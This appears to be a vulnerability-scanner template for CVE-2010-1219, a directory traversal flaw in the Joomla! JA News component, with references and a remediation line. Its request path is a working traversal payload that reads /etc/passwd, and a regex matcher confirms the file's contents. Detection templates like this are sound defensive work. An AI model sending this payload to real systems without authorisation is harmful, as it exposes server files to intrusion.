id: CVE-2010-1219 info: name: Joomla! Component com_janews - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/11757 - https://nvd.nist.gov/vuln/detail/CVE-2010-1219 - http://web.archive.org/web/20161009134632/http://secunia.com/advisories/38952 - http://web.archive.org/web/20210617075625/https://www.securityfocus.com/bid/38746 remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1219 tags: cve,cve2010,joomla,lfi,edb requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/14